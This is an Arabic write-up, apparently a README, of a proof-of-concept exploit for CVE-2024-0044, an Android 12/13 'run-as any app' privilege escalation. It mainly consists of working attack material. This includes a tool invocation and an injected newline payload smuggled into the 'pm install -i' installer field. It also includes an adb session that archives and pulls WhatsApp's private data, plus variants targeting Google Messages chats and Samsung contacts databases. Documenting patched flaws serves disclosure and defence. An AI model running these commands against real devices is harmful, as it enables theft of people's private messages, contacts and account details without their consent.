
CVE-2024-0044: ثغرة عالية الخطورة تتيح التشغيل كأي تطبيق (run-as any app) وتؤثر على إصدارَي أندرويد 12 و13
CVE-2024-0044، التي تم تحديدها في دالة createSessionInternal في ملف PackageInstallerService.java، هي ثغرة أمنية عالية الخطورة تؤثر على إصدارَي أندرويد 12 و13. تسمح هذه الثغرة للمهاجم بتنفيذ هجوم "run-as any app"، مما يؤدي إلى تصعيد محلي للصلاحيات دون الحاجة إلى تفاعل المستخدم. تنشأ المشكلة بسبب عدم التحقق السليم من المدخلات داخل دالة createSessionInternal. يمكن للمهاجم استغلال ذلك عن طريق التلاعب بعملية إنشاء الجلسة، مما قد يمنحه وصولًا غير مصرح به إلى البيانات الحساسة وتنفيذ إجراءات غير مصرح بها على الجهاز المتأثر.
تم اكتشاف الاستغلال بواسطة Meta security
تم تلخيص ومشاركة إثبات المفهوم بواسطة Tiny hack
يمكن العثور على تفاصيل التصحيح الأمني في Android security bulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P يُستخدم لتحديد اسم الحزمة الهدف التي تريد التشغيل باسمها
-A لتحديد ملف APK الذي سيتم دفعه إلى الجهاز
قم بتشغيل الأداة
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
سيتم إنشاء ملف payload.txt بهذا الشكل
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success بعد تنفيذ الأمر الأخيرpl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
أنشئ مجلدًا مؤقتًا: mkdir /data/local/tmp/wa/
أنشئ ملفًا مؤقتًا لملف tar: touch /data/local/tmp/wa/wa.tar
امنح صلاحيات كاملة: chmod -R 0777 /data/local/tmp/wa/ لضمان قدرة أي مستخدم على القراءة والكتابة والتنفيذ داخل هذا المجلد.
بدّل سياق المستخدم: run-as victim للحصول على نفس صلاحيات مستخدم "victim".
أرشفة بيانات التطبيق الهدف: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp، لإنشاء ملف tar من مجلد بيانات واتساب.
adb pull /data/local/tmp/wa/wa.tar
يمكنك استخراج البيانات باستخدام 7z أو أي أداة أخرى.
يمكنك استخدام Whatsapp chat exporter لتحويله إلى HTML.
يتيح لك هذا الحصول على بيانات واتساب دون الحاجة إلى صلاحيات الجذر على جهازك.
فقط غيّر اسم الحزمة كما يلي
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
اتبع التعليمات أعلاه وبعد سحب ملف wa.tar فك ضغطه وافتح المحادثات في com.google.android.apps.messaging/databases/bugle_db باستخدام sqlitebrowser أو أي أداة أخرى.
تم اختباره على جهاز سامسونج. بالنسبة للأجهزة الأخرى، تحقق من اسم حزمة موفر جهات الاتصال.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
اتبع التعليمات أعلاه وبعد سحب ملف wa.tar فك ضغطه وافتح جهات الاتصال في com.samsung.android.providers.contacts/databases/contacts2.db باستخدام sqlitebrowser أو أي أداة أخرى. يحتوي ملف قاعدة البيانات على جميع معلومات حسابات البريد الإلكتروني الخاصة بالمستخدم مع قائمة جهات الاتصال.